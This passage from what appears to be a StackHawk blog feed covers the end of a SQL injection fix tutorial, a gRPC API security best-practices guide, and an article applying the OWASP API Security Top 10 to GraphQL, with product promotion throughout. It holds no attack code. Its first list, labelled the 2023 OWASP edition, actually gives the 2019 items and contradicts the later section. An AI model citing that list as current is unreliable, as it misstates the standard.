and restart the application to apply the changes.&lt;/p&gt;&lt;h3&gt;Confirm the fix!&lt;/h3&gt;&lt;p&gt;With the fix in place, let’s confirm it is working as intended. To do this, back in &lt;b&gt;StackHawk&lt;/b&gt;, we will click the &lt;b&gt;Rescan Findings&lt;/b&gt; button.&lt;/p&gt;&lt;p&gt;Then, we will see a modal containing the &lt;b&gt;“hawk rescan” &lt;/b&gt;command that includes the correct&lt;b&gt; Scan ID&lt;/b&gt;. You’ll run this command in the same terminal where you ran the initial set of tests.&lt;/p&gt;&lt;p&gt;In the output, you will again see any vulnerabilities found in the scan. In this case, you’ll see that the SQL injection vulnerability is no longer showing. Clicking on the link at the bottom of the terminal output, you can confirm that the SQL injection vulnerability has now been added to the &lt;b&gt;Fixed Findings from Previous Scan&lt;/b&gt;, confirming that the vulnerability has been successfully fixed and has passed any vulnerability tests.&lt;/p&gt;&lt;h2&gt;Try it out!&lt;/h2&gt;&lt;p&gt;With that, we&amp;#39;ve successfully used StackHawk to scan an API, identify a SQL injection issue, and confirm that our fix worked as intended. Are you looking to make your applications more secure and put the power of security testing into the hands of developers? With StackHawk, “shift-left” the responsibility of security and empower developers to build secure APIs and applications with ease. Want to give it a try for yourself? &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up for StackHawk today&lt;/a&gt; for a free 14-day trial.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Best Practices for gRPC Security]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/best-practices-for-grpc-security</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Nicole Jones]]></dc:creator><content:encoded>&lt;p&gt;gRPC (gRPC Remote Procedure Calls) APIs have become a crucial component in modern application development, revolutionizing how we, as developers, implement inter-service communication. In an era where microservices and distributed systems are prevalent, gRPC APIs, known for their high performance and efficiency, play a pivotal role. They facilitate the robust and rapid data exchange between services, from intricate transactions in global financial systems to real-time data processing in various applications. Beyond their core functionality, gRPC APIs protect sensitive information and systems from cyber threats. With the growing adoption and complexity of gRPC APIs, the need for meticulous security measures is increasingly paramount.&lt;/p&gt;&lt;p&gt;This guide aims to provide a comprehensive overview of API security, specifically focusing on the unique aspects of gRPC API security. We will explore the myriad facets of securing APIs, equipping you with the knowledge to safeguard your gRPC APIs against many potential security threats. From foundational security concepts to advanced protective strategies, this guide ensures the integrity and confidentiality of digital interactions facilitated by gRPC APIs. As we delve into API security, let’s begin with the fundamental question: What exactly is API security?&lt;/p&gt;&lt;h2&gt;What is API Security?&lt;/h2&gt;&lt;p&gt;gRPC API security is the defensive framework that protects gRPC APIs from cyber threats in today&amp;#39;s interconnected digital landscape. This form of security encompasses various aspects, including specialized protocols, systems, and tools, all designed to counteract malicious activities targeting or exploiting gRPC APIs, thus safeguarding crucial elements of modern software communication.&lt;/p&gt;&lt;p&gt;At its core, gRPC API security ensures that only authorized users can perform authorized actions, primarily achieved through robust authentication and authorization processes. These processes are essential for confirming user identities and managing access permissions effectively. Encryption also plays a vital role in gRPC API security, serving as a fundamental tool to protect data as it is transferred between clients and servers. However, the scope of gRPC API security goes beyond mere access control; it includes the monitoring and logging of API activities for threat detection, implementing rate limiting to prevent misuse, and managing the lifecycle of the gRPC API to mitigate exploitable vulnerabilities.&lt;/p&gt;&lt;p&gt;Unlike traditional software development processes, gRPC API security is not a static setup but a dynamic, ongoing process. It must continually evolve to keep pace with the changing threat landscape and adapt to the specific features and integration patterns of gRPC APIs. The overarching goal is to create a secure environment for data exchange that ensures data integrity, availability, and confidentiality while minimizing the surfaces vulnerable to attacks.&lt;/p&gt;&lt;h2&gt;Why is API Security Important?&lt;/h2&gt;&lt;p&gt;The critical role of gRPC APIs in modern software and applications carries significant risks, especially considering their exposure to the open internet. This exposure makes gRPC APIs inherently vulnerable to cyberattacks. The importance of gRPC API security is deeply rooted in the need to protect sensitive data transferred between services, maintain user privacy, and prevent disruptions in business operations due to malicious activities.&lt;/p&gt;&lt;p&gt;Recently, the consequences of API security breaches have become increasingly evident. Incidents of security breaches can lead to severe outcomes such as data theft, service outages, and substantial financial losses. For instance, an unprotected gRPC API could be exploited by attackers, leading to unauthorized access to sensitive customer data, identity theft, and fraud. While data breaches are often thought of in the context of compromised databases, the potential for such attacks through gRPC APIs, given their efficiency and performance capabilities, is also significant.&lt;/p&gt;&lt;p&gt;Security in the context of gRPC APIs is a vital aspect of users&amp;#39; trust in digital services. A breach in gRPC API security can significantly harm a company&amp;#39;s reputation, resulting in a loss of customer trust and loyalty. Furthermore, due to the interconnected nature of modern digital services, a vulnerability in one gRPC API can have a domino effect, impacting connected services and amplifying the severity of a breach.&lt;/p&gt;&lt;p&gt;Thus, securing gRPC APIs is not just a technical challenge but a crucial business imperative. A robust and comprehensive security framework for gRPC APIs is essential to ensure secure and reliable services to users and to adhere to regulatory compliance standards like GDPR and HIPAA.&lt;/p&gt;&lt;h2&gt;How Do You Secure a gRPC Endpoint?&lt;/h2&gt;&lt;p&gt;gRPC, a high-performance RPC (remote procedure call) framework created by Google, relies on HTTP/2 for transport and a protocol buffer as its interface description language. To secure gRPC APIs, you must address the protocol and the message formats. Setting up and configuring the gRPC client involves importing proto definitions, connecting to the server&amp;#39;s IP address, attaching SSL certificates for authorization and encryption, and implementing authentication mechanisms such as SSL, ALTS, OAuth 2.0, and JWT Bearer Token.&lt;/p&gt;&lt;p&gt;Firstly, similar to what was mentioned with the other types of APIs we covered, gRPC services should employ TLS for transport security. Doing this helps to ensure that all data transmitted via gRPC is encrypted and secure from interception. For message-level security, you should utilize the built-in authentication mechanisms provided by gRPC, such as token-based authentication, which can integrate with identity providers such as Auth0 and Okta. Security for the gRPC server is also crucial, including using authentication methods like OAuth 2.0, JWT Bearer Token, OpenID Connect, WS-Federation, and ALTS (if deploying the service on Google Cloud).&lt;/p&gt;&lt;p&gt;Additionally, you’ll also want to make sure always to validate and sanitize all incoming data to prevent injection attacks. With gRPC’s strict schema definitions, you can enforce message validation based on the defined Protocol Buffers. This can help detect abnormal messages that could be part of a potential attack, allowing you to add a mechanism to stop such malicious activity from becoming catastrophic to the system or data. ALTS (Application Layer Transport Security) is used within Google&amp;#39;s infrastructure to secure RPC communications, providing mutual authentication and transport encryption.&lt;/p&gt;&lt;p&gt;Lastly, you’ll want to implement fine-grained access control for the service. This is particularly important with gRPC due to its ability to create complex service-to-service interaction patterns. If such interactions go unchecked, attacks may be able to penetrate deep into the systems that are exposed through the gRPC calls. By implementing a robust access control strategy, you can ensure that services only have the permissions necessary to perform their intended functions.&lt;/p&gt;&lt;p&gt;Securing gRPC APIs also involves monitoring and logging all operations to detect and respond to suspicious activities promptly. Robust monitoring and logging also create an audit log, which can be used to see the impact of attacks if they do make it through your defenses. The principles above tie into the more advanced security measures and best practices we will cover later in this guide.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;gRPC Security Best Practices&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Having established the basics of gRPC API security, it&amp;#39;s time to delve into the best practices. This section will comprehensively cover various tools and strategies to ensure your gRPC APIs are as secure as possible.&lt;/p&gt;&lt;h3&gt;Conduct Regular Security Audits and Penetration Testing&lt;/h3&gt;&lt;p&gt;Security audits and penetration testing are essential for assessing the security of your gRPC APIs. These practices help uncover and address vulnerabilities early in the development process. Regular security audits should thoroughly review your gRPC API&amp;#39;s infrastructure, policies, and codebase for compliance with security standards. Penetration testing is a type of API security testing that involves simulating cyberattacks to test the resilience of your gRPC API against real-world threats.&lt;/p&gt;&lt;h3&gt;Implement Strong Authentication and Authorization Checks&lt;/h3&gt;&lt;p&gt;Robust authentication and authorization are critical for regulating access to your gRPC API. Authentication confirms user identity, while authorization determines their access level. Adopt secure authentication protocols like OAuth 2.0 and OpenID Connect. For authorization, use role-based access control (RBAC) or attribute-based access control (ABAC) to define clear access policies. Implementing multi-factor authentication (MFA) can significantly enhance security.&lt;/p&gt;&lt;h3&gt;Encrypt Data in Transit and at Rest&lt;/h3&gt;&lt;p&gt;Encryption is vital for protecting sensitive information in your gRPC API. Ensure data is encrypted in transit using TLS with strong cipher suites. For data at rest, use encryption algorithms like AES and manage encryption keys securely with services provided by cloud providers or hardware security modules (HSMs).&lt;/p&gt;&lt;h3&gt;Effective Error Handling and Logging&lt;/h3&gt;&lt;p&gt;Proper error handling prevents sensitive data leaks from your gRPC API, while logging creates an audit trail for analysis. Develop strategies for uniform error responses and use tools like ELK Stack or Splunk to aggregate and analyze logs. Ensure logs do not contain sensitive information.&lt;/p&gt;&lt;h3&gt;Add in Authorization and Authentication Mechanisms&lt;/h3&gt;&lt;p&gt;Unless you intend for an API to be used freely, by anyone, adding authorization and authentication can ensure that only users that are supposed to access the service are able to. This could be done through the use of an API token, JWT, or other mechanism.&lt;/p&gt;&lt;h3&gt;Use Throttling and Rate Limiting&lt;/h3&gt;&lt;p&gt;Implement throttling and rate limiting to control the volume of requests to your gRPC API. These measures prevent service overuse and protect against denial-of-service attacks. API gateways or middleware can manage these controls effectively.&lt;/p&gt;&lt;h3&gt;Ensure Proper API Versioning and Deprecation Strategies&lt;/h3&gt;&lt;p&gt;Maintain explicit versioning and deprecation strategies for your gRPC service. Use Semantic Versioning (SemVer) and communicate changes through changelogs. When deprecating older versions, guide users to migrate to newer versions.&lt;/p&gt;&lt;h3&gt;Embrace a Zero-Trust Network Model&lt;/h3&gt;&lt;p&gt;Adopt a zero-trust model for your gRPC API, which involves not automatically trusting any user or system. Enforce strict verification, apply the principle of least privilege, and use micro-segmentation to limit access within your network.&lt;/p&gt;&lt;h3&gt;Automate Scanning and Testing for Vulnerabilities&lt;/h3&gt;&lt;p&gt;Integrate automated vulnerability scanning and testing into your CI/CD pipeline for your gRPC API. Use tools that support dynamic and static application security testing (DAST and SAST) to analyze code and stay updated with new security threats.&lt;/p&gt;&lt;h3&gt;Secure the Underlying Infrastructure&lt;/h3&gt;&lt;p&gt;Ensure the infrastructure hosting your gRPC API is secure. Regularly update and patch servers, enforce firewall rules, and use intrusion detection systems. In cloud environments, leverage native security features and adhere to best practices in access and account management.&lt;/p&gt;&lt;p&gt;You can create a robust security framework for your gRPC APIs by implementing these best practices. Remember to tailor these strategies based on the specific types of gRPC APIs you manage, regulatory requirements, and other unique aspects of your security framework.&lt;/p&gt;&lt;h2&gt;Augmenting API Security With StackHawk&lt;/h2&gt;&lt;p&gt;As mentioned in our breakdown of best practices, StackHawk is a pivotal tool in reinforcing some of the API security concepts outlined above. By bringing a suite of automated testing capabilities that align closely with &lt;a href=&quot;https://www.stackhawk.com/blog/api-security-best-practices-ultimate-guide/&quot;&gt;best practices for API security&lt;/a&gt;, StackHawk is a dynamic application security testing (DAST) tool built for developers. The platform is easy to use, automated, and provides a best-in-class experience for developers to create secure APIs. Let’s look further at some of the benefits StackHawk brings to API developers and their teams. &lt;/p&gt;&lt;h3&gt;Automated Security Risk Tests and Dynamic Application Security Testing&lt;/h3&gt;&lt;p&gt;StackHawk provides an automated suite to test against common and more advanced API security risks. The platform helps to identify and resolve issues like SQL Injection and Remote OS Command Injection before deployment. This capability supports the abovementioned best practices involving regular security audits and penetration testing.&lt;/p&gt;&lt;h3&gt;Integration with CI/CD Pipelines&lt;/h3&gt;&lt;p&gt;The platform also &lt;a href=&quot;https://www.stackhawk.com/integrations/&quot;&gt;integrates&lt;/a&gt; easily with CI/CD pipelines and can be set up to ensure every pull request is checked for new vulnerabilities. This ties in nicely with the best practice of testing in development to prevent shipping vulnerabilities to production.&lt;/p&gt;&lt;h3&gt;Modern Tooling for Various API Types&lt;/h3&gt;&lt;p&gt;Unlike some other tools, StackHawk can support various &lt;a href=&quot;https://www.stackhawk.com/solutions/api-security-testing/&quot;&gt;API types&lt;/a&gt; when it comes to testing. The tool caters to modern application architectures by supporting REST, GraphQL, SOAP, and &lt;a href=&quot;https://www.stackhawk.com/blog/grpc-security-how-stackhawk-scans-grpc-services/&quot;&gt;gRPC APIs&lt;/a&gt;. This helps to ensure that your entire API portfolio has blanket coverage instead of excluding API types that other tools may not support.&lt;/p&gt;&lt;h3&gt;Efficient Vulnerability Management&lt;/h3&gt;&lt;p&gt;The most powerful outcome for developers that use StackHawk is fast detection and detailed documentation for remediation. StackHawk streamlines the process of fixing vulnerabilities and makes developers&amp;#39; lives easy and the APIs they create more secure. By making the tool developer-friendly, vulnerability management becomes easy to implement and easy for developers to utilize.&lt;/p&gt;&lt;p&gt;By incorporating StackHawk into your API development lifecycle, you can make significant progress towards maintaining a high-security standard and adherence to the best practices outlined in this guide.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;As we conclude our in-depth exploration of API security, it&amp;#39;s clear that protecting our APIs is critical and complex. Throughout this guide, we&amp;#39;ve navigated the intricacies of API security, from the foundational principles drawn from the &lt;a href=&quot;https://www.stackhawk.com/blog/owasp-api-top-10-2023-a-comprehensive-guide/&quot;&gt;OWASP Top 10&lt;/a&gt; to the nuanced specifics of securing REST, GraphQL, and gRPC APIs. We capped things off with a look at the strategic best practices that can help fortify your digital defenses and reflected on the importance of each in the broader context of API security.&lt;/p&gt;&lt;p&gt;In this continuous quest for security excellence, tools like StackHawk are indispensable. StackHawk empowers teams to augment their API security strategies effectively. With its automated security testing tailored for modern APIs, integration into CI/CD pipelines for early vulnerability detection, and support for a vast array of API architectures, StackHawk ensures that your security testing evolves with your APIs.&lt;/p&gt;&lt;p&gt;As you look to translate the insights from this guide into actionable security enhancements, consider taking StackHawk for a spin. Begin your journey with StackHawk by signing up for a &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;free account&lt;/a&gt; and taking the first step in making your APIs as secure as possible.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[OWASP Top 10: Finding GraphQL Vulnerabilities with StackHawk]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/applying-the-owasp-api-security-top-10-to-graphql-apis</guid><category><![CDATA[GraphQL Security]]></category><dc:creator><![CDATA[Nicole Jones]]></dc:creator><content:encoded>&lt;p&gt;As developers, we are well aware that APIs have become an essential part of modern web and mobile applications. Without them, many applications would be unable to facilitate the driving the seamless connectivity between different software components and services that users have come to expect. As APIs continue to grow in both importance and complexity, securing them against potential threats has become a critical challenge for developers and security professionals alike. When it comes to resources for establishing what vulnerabilities to focus on, The Open Web Application Security Project (OWASP) API Security Top 10 list is a vital source of information that highlights the most pressing security risks facing APIs today.&lt;/p&gt;&lt;p&gt;Among the various API technologies that developers currently use, GraphQL has emerged as a game changer, redefining how developers query and manipulate data. Developed by Facebook and released to the public in 2015, GraphQL offers a more efficient, powerful, and flexible alternative to the traditional REST API. From small startups to tech giants, many have embraced GraphQL for its dynamic approach to data retrieval and manipulation. With this growth in adoption and usage, understanding the security implications of GraphQL APIs is more crucial than ever. Developers working with GraphQL implementations need to be aware of GraphQL attacks, which highlight the security vulnerabilities that arise from the use of GraphQL as an API query language. &lt;/p&gt;&lt;p&gt;In this blog, we will bridge the gap between the general security principles outlined in the OWASP API Security Top 10 and the specific needs of GraphQL APIs. We’ll explore each of the vulnerabilities in the top ten, unraveling how they apply to GraphQL. For each risk, we will do a quick analysis, including real-world scenarios, practical examples, and how to mitigate such vulnerabilities. By the end of this blog, you’ll have a comprehensive understanding of not only what makes GraphQL unique but also how to approach the security challenges that GraphQL adoption brings. First stop, let’s take a look at the OWASP API Security Top Ten in more detail before going into how they apply to GraphQL APIs.&lt;/p&gt;&lt;h2&gt;Introduction to GraphQL Security&lt;/h2&gt;&lt;p&gt;As the popularity of GraphQL continues to grow, so does the need for robust security measures to protect GraphQL APIs from various threats. GraphQL security is a critical aspect of ensuring the integrity and confidentiality of data exchanged between clients and servers. In this section, we will delve into the world of GraphQL security, exploring its key concepts, vulnerabilities, and best practices for securing GraphQL APIs.&lt;/p&gt;&lt;p&gt;GraphQL APIs, like any other API, are susceptible to a range of security threats, including injection attacks, denial of service (DoS) attacks, and unauthorized access. Given the dynamic nature of GraphQL, where clients can request exactly the data they need, it becomes imperative to implement stringent security measures. This includes validating user input, implementing proper access controls, and monitoring for malicious queries.&lt;/p&gt;&lt;h3&gt;What is GraphQL?&lt;/h3&gt;&lt;p&gt;GraphQL is a query language for APIs that allows clients to request specific data from a server. It was developed by Facebook in 2012 and has since become a popular alternative to traditional REST APIs. GraphQL’s flexibility and ability to provide a great developer experience have made it a preferred choice for many developers.&lt;/p&gt;&lt;p&gt;Unlike REST, where the server defines the structure of the responses, GraphQL enables clients to specify the exact structure of the data they need. This reduces the amount of data transferred over the network and improves the efficiency of data retrieval. Additionally, GraphQL’s strong typing system and introspection capabilities make it easier to understand and document the API.&lt;/p&gt;&lt;h2&gt;What is the OWASP API Security Top Ten?&lt;/h2&gt;&lt;p&gt;The Open Web Application Security Project (OWASP) is an international non-profit organization dedicated to improving the security of software. Within its many projects, the OWASP API Security Top Ten is the leading resource API developers can use to understand and mitigate the most significant security threats facing web APIs, including GraphQL. Released for the first time in 2019, this list is derived from industry survey data, expert opinions, and reported incidents. The goal of OWASP is to update it periodically to reflect the evolving landscape of API security. The latest update was in 2023.&lt;/p&gt;&lt;p&gt;The OWASP API Security Top 10 list categorizes and prioritizes the top security risks based on their prevalence, potential impact, and exploitability. The 2023 edition includes the following vulnerabilities:&lt;/p&gt;&lt;p&gt;	1.	Broken Object Level Authorization (BOLA)&lt;/p&gt;&lt;p&gt;	2.	Broken Authentication&lt;/p&gt;&lt;p&gt;	3.	Excessive Data Exposure&lt;/p&gt;&lt;p&gt;	4.	Lack of Resources &amp;amp; Rate Limiting&lt;/p&gt;&lt;p&gt;	5.	Broken Function Level Authorization&lt;/p&gt;&lt;p&gt;	6.	Mass Assignment&lt;/p&gt;&lt;p&gt;	7.	Security Misconfiguration&lt;/p&gt;&lt;p&gt;	8.	Injection&lt;/p&gt;&lt;p&gt;	9.	Improper Assets Management&lt;/p&gt;&lt;p&gt;	10.	Insufficient Logging &amp;amp; Monitoring&lt;/p&gt;&lt;p&gt;Each item on the list encapsulates a broad category of vulnerabilities, offering insights into their causes, manifestations, and potential impacts. This framework guides developers, security analysts, and IT professionals in creating, deploying, and maintaining secure APIs. To view the entire resource, you can check out the OWASP site.&lt;/p&gt;&lt;h2&gt;Are the OWASP API Security Top Ten Applicable to GraphQL Endpoints?&lt;/h2&gt;&lt;p&gt;At its core, the OWASP API Security Top 10 addresses concerns that are universally applicable to all types of APIs, including REST and GraphQL. These risks encompass broad security areas like authentication, authorization, data exposure, etc. However, because of how GraphQL APIs work, using GraphQL introduces unique challenges and subtleties in applying these security principles compared to RESTful APIs.&lt;/p&gt;&lt;h3&gt;REST vs. GraphQL&lt;/h3&gt;&lt;p&gt;When it comes to the debate of what technology to use, most will find that their organization will use a mix of both technologies. The idea of RESTful APIs being entirely deprecated as a technology is a bit of a stretch. REST (Representational State Transfer) APIs have been the standard for web services for many years, characterized by their stateless nature and standard HTTP methods (GET, POST, PUT, DELETE). They are so extensively used that the majority of APIs being used are RESTful. In contrast, GraphQL, seen as a query language for APIs, offers a more dynamic and flexible approach to the function of an API. GraphQL, unlike REST APIs, allows clients to request exactly the data they need in a single query. &lt;/p&gt;&lt;p&gt;There are a few areas of consideration when comparing the two technologies. Here are a few areas where the two technologies differ:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Authorization&lt;/b&gt;: In REST, authorization checks are often tied to specific URL endpoints. GraphQL, however, handles a wide range of data through a single endpoint, necessitating more granular, field-level authorization checks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Exposure&lt;/b&gt;: REST APIs may expose different endpoints for different data needs, while GraphQL’s single endpoint approach can lead to excessive data exposure if not carefully managed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Rate Limiting&lt;/b&gt;: REST APIs typically rate limit based on the number of requests, but for GraphQL, the complexity of queries also needs to be considered, as a single query can be resource-intensive.
&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;With these points in mind, developers should be able to tell that applying the OWASP Top 10 to GraphQL requires a deeper understanding of the nuances of GraphQL. For example, below are a few points within the OWASP API Top Ten and how the nuances of GraphQL apply to them.&lt;/p&gt;&lt;h4&gt;BOLA &amp;amp; Function Level Authorization: &lt;/h4&gt;&lt;p&gt;GraphQL’s flexible querying can inadvertently bypass traditional object and function-level authorization controls. This means that GraphQL APIs must have robust and context-aware security implementations.&lt;/p&gt;&lt;h4&gt;Authentication &amp;amp; Data Exposure: &lt;/h4&gt;&lt;p&gt;GraphQL’s use of a single endpoint for data retrieval can complicate authentication schemes and increase the risk of data exposure. GraphQL schemas handling sensitive data require comprehensive and adaptive security measures.&lt;/p&gt;&lt;h4&gt;Complexity &amp;amp; Rate Limiting: &lt;/h4&gt;&lt;p&gt;The ability of GraphQL to handle complex queries in a single request means that traditional rate limiting based on request count is insufficient. Instead, more sophisticated approaches like analyzing query complexity and query depth limiting are required.&lt;/p&gt;&lt;h4&gt;Injection &amp;amp; Misconfiguration: &lt;/h4&gt;&lt;p&gt;While GraphQL is less prone to traditional injection attacks, its resolvers can still be vulnerable. Similarly, misconfigurations in a GraphQL context can have far-reaching implications due to its singular endpoint and complex schema.&lt;/p&gt;&lt;p&gt;In conclusion, while the OWASP API Security Top 10 is universally applicable to all APIs, including GraphQL, the application of these principles requires a tailored approach. This tailored approach should account for GraphQL’s unique capabilities and challenges. Ensuring robust and adequate security in the face of evolving cyber threats is extremely important for all APIs, underscoring the importance of the Top Ten list.&lt;/p&gt;&lt;h2&gt;GraphQL Schema and Introspection&lt;/h2&gt;&lt;p&gt;A GraphQL schema is the backbone of a GraphQL API, defining the types of data available and the relationships between them. Introspection is a feature of GraphQL that allows clients to query the schema for information about the available types, fields, and relationships.&lt;/p&gt;&lt;h3&gt;Understanding GraphQL Schema&lt;/h3&gt;&lt;p&gt;A GraphQL schema is composed of several key elements, including types, fields, and relationships. Types define the structure of the data, while fields define the specific data points within a type. Relationships define how different types are connected. Understanding the schema is essential for building and securing GraphQL APIs.&lt;/p&gt;&lt;p&gt;The schema acts as a contract between the client and the server, ensuring that both parties have a clear understanding of the data structure. This contract helps in validating the queries and mutations, ensuring that only valid operations are executed. By defining the schema meticulously, developers can enforce strict data validation and access controls, reducing the risk of unauthorized access and data breaches.&lt;/p&gt;&lt;p&gt;In the next sections, we will explore common GraphQL vulnerabilities, attacks, and best practices for securing GraphQL APIs. By understanding these vulnerabilities and implementing the recommended security measures, developers can build robust and secure GraphQL APIs that stand up to the most pressing cyber threats.&lt;/p&gt;&lt;h2&gt;Applying the OWASP API Security Top Ten to GraphQL&lt;/h2&gt;&lt;p&gt;Now that we&amp;#39;ve looked at what the OWASP API Security Top Ten is, in this section, we&amp;#39;ll explore each vulnerability, discuss its relevance to GraphQL requests, and provide examples and prevention strategies. The breakdown below is based on the list published in 2023.&lt;/p&gt;&lt;h3&gt;1. Broken Object Level Authorization (BOLA)&lt;/h3&gt;&lt;p&gt;This risk involves unauthorized access to objects due to flaws in authorization mechanisms. Due to GraphQL&amp;#39;s single query structure, queries can expose sensitive data if proper authorization is not implemented. An example of this would be if a GraphQL query operation retrieves user profiles, including those of administrators, without adequate access checks. This would allow authorized and unauthorized users to access sensitive fields. To prevent this vulnerability, developers should implement robust authorization checks for each object, ensuring data access is adequately restricted.&lt;/p&gt;&lt;h3&gt;2. Broken Authentication&lt;/h3&gt;&lt;p&gt;This occurs when authentication mechanisms are implemented incorrectly, allowing attackers to compromise authentication tokens or exploit implementation flaws. With GraphQL APIs, this is particularly true given their single endpoint structure. For example, an attacker could exploit a weakly protected API key to access sensitive data via GraphQL queries. To prevent this from happening, developers should use robust and reliable authentication methods like OAuth 2.0 and regularly rotate API keys and tokens.&lt;/p&gt;&lt;h3&gt;3. Broken Object Property Level Authorization&lt;/h3&gt;&lt;p&gt;Combining Excessive Data Exposure and Mass Assignment from the 2019 list, this risk focuses on improper authorization at the object property level. In GraphQL, this might involve exposing or allowing modification of properties like user roles or personal data without proper checks. Prevent this by implementing strict authorization at the property level and input validation in queries and mutations.&lt;/p&gt;&lt;h3&gt;4. Unrestricted Resource Consumption&lt;/h3&gt;&lt;p&gt;APIs not protected with rate limiting or other resource-restricting measures can be vulnerable to DoS (Denial of Service) attacks and unlimited resource consumption. Complex GraphQL queries can consume excessive server resources, heightening this risk and leading to potential organization and financial repercussions. For example, an attacker could send a complex, nested query to overload the GraphQL server. Depending on the complexity, this could overload the server and cause a server failure, resulting in a denial of service. On the other hand, if the server is set up to auto-scale to keep up with the demand, this could lead to a massive infrastructure bill. To prevent this, developers should implement rate limiting, query complexity analysis, and query-depth limiting. Many API gateway platforms can supply this functionality for GraphQL queries.&lt;/p&gt;&lt;h3&gt;5. Broken Function Level Authorization&lt;/h3&gt;&lt;p&gt;This risk involves users accessing functions beyond their permissions due to misconfigured authorization. In GraphQL, the issue can arise if function-level authorizations are not correctly managed. A great example of this would be if a regular/unauthorized user accesses a mutation that should be restricted to admins. Thus allowing the unauthorized user to access a function and potentially make changes they shouldn&amp;#39;t be able to. To prevent this, developers should rigorously define and enforce function-level permissions within GraphQL resolvers. Doing this will ensure that unauthorized function-level access is not possible, malicious or not.&lt;/p&gt;&lt;h3&gt;6. Unrestricted Access to Sensitive Business Flows&lt;/h3&gt;&lt;p&gt;This risk pertains to exposing business flows to excessive or automated use. In GraphQL, this could involve the API, including the resolvers that power it, allowing unchecked repetitive actions. An example of this type of exploit may be as simple as allowing a user to execute a mutation multiple times, resulting in mass account creation. To prevent this type of exploit, developers, at a minimum, should implement throttling (to prevent brute force attacks) and logic checks to control flow execution, stopping bad actors from being able to execute arbitrary commands.&lt;/p&gt;&lt;h3&gt;7. Server Side Request Forgery (SSRF)&lt;/h3&gt;&lt;p&gt;SSRF flaws occur when an API fetches a remote resource without validating the user-supplied URI, making it susceptible to manipulation. For instance, in a GraphQL context, if an API blindly trusts a URL input for fetching data, an attacker could manipulate this input to make the server send a request to an internal or malicious destination. To prevent SSRF, validation mechanisms must be robust, ensuring all external URLs are verified before use. It’s crucial to implement checks that confirm URLs are safe and intended for the API’s usage and to restrict the API from accessing internal resources that could be targeted in an attack.&lt;/p&gt;&lt;h3&gt;8. Security Misconfiguration&lt;/h3&gt;&lt;p&gt;Inadequate configurations and security settings in APIs and their infrastructure can lead to various vulnerabilities. Default or poor configurations in GraphQL, especially in error messaging, can create security loopholes and lead to breaches. For example, as with RESTful APIs, GraphQL APIs that return verbose error messages can reveal sensitive API configuration details. To prevent these security concerns, ensure secure configurations for GraphQL APIs, minimize error details returned to users, and use the appropriate security headers.&lt;/p&gt;&lt;h3&gt;9. Improper Inventory Management&lt;/h3&gt;&lt;p&gt;This risk involves failing to track correctly and document APIs, which is particularly relevant for GraphQL with its multiple endpoints and versions. For example, a GraphQL service might have deprecated or development-only endpoints inadvertently exposed in production. Preventing this issue requires maintaining an up-to-date inventory of all deployed API versions and actively managing them. This includes routine audits to identify and decommission outdated or unused endpoints, ensuring only current and secure versions are available.&lt;/p&gt;&lt;h3&gt;10. Unsafe Consumption of APIs&lt;/h3&gt;&lt;p&gt;This risk addresses the weaker security often applied to data received from third-party APIs compared to user input. In a GraphQL API, integrating a third-party service without adequate security scrutiny can introduce vulnerabilities. For instance, if a GraphQL resolver integrates data from an external API with lax security, it could lead to data breaches or other security issues. To mitigate this, treat all data from external APIs with the same rigorous security standards as user input, including thorough validation and sanitization.&lt;/p&gt;&lt;p&gt;In this section, we’ve done a deep dive into the OWASP Top 10 vulnerabilities in the context of GraphQL APIs. By understanding these vulnerabilities, including their OWASP definitions, specific relevance to GraphQL, examples, and prevention strategies, developers and security professionals can better secure their GraphQL endpoints.&lt;/p&gt;&lt;h2&gt;How StackHawk Can Help!&lt;/h2&gt;&lt;p&gt;In the landscape of API security, tools like StackHawk have become indispensable for developers, especially when securing GraphQL APIs. StackHawk is a dynamic application security testing (DAST) tool designed to identify and rectify security issues in APIs. While it supports various types of APIs, it’s particularly adept at handling the unique challenges GraphQL poses.&lt;/p&gt;&lt;p&gt;One of StackHawk’s key strengths is its ability to automate security testing. This automation streamlines finding vulnerabilities in GraphQL APIs, seamlessly integrating security into the regular development workflow. Tailored to the distinct nature of GraphQL, StackHawk offers specialized testing capabilities that work with GraphQL schemas, enabling it to test the API intelligently. These tests help to uncover issues that might be overlooked by tools designed for more traditional REST APIs.&lt;/p&gt;&lt;p&gt;When it comes to addressing the OWASP Top 10 vulnerabilities, StackHawk offers broad coverage. Its testing capabilities can detect various security vulnerabilities, including many from the OWASP list. Once the platform detects an issue, StackHawk provides in-depth insights and actionable recommendations for each vulnerability. This level of detail is crucial for developers to not only understand the vulnerabilities but also to fix them in their code effectively.&lt;/p&gt;&lt;p&gt;StackHawk’s developer-centric approach means it easily integrates into CI/CD pipelines, allowing for regular and automated scanning of GraphQL APIs. This integration ensures a continuous security assessment of your APIS, helping teams to identify and address vulnerabilities early in the development cycle. StackHawk’s user-friendly interface and reports help make security accessible for developers with varying security expertise.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;As we wrap up our exploration of applying the OWASP API Security Top 10 to GraphQL, it’s clear that understanding and mitigating these vulnerabilities is vital for anyone implementing GraphQL APIs. This blog has highlighted that while GraphQL brings unique advantages in API design, it also requires specialized attention to security, particularly in areas outlined by the OWASP Top 10.&lt;/p&gt;&lt;p&gt;Throughout this blog, we have underscored the importance of proactive measures and modern security tools like StackHawk. With its automated, GraphQL-focused capabilities, StackHawk equips developers to integrate security testing into their workflow seamlessly. Using StackHawk ensures that GraphQL APIs are robust and secure against the most pressing cyber threats.&lt;/p&gt;&lt;p&gt;In conclusion, embracing tools like StackHawk and staying informed about security best practices are key steps towards securing GraphQL APIs. By diligently applying the insights from the OWASP API Security Top 10, developers 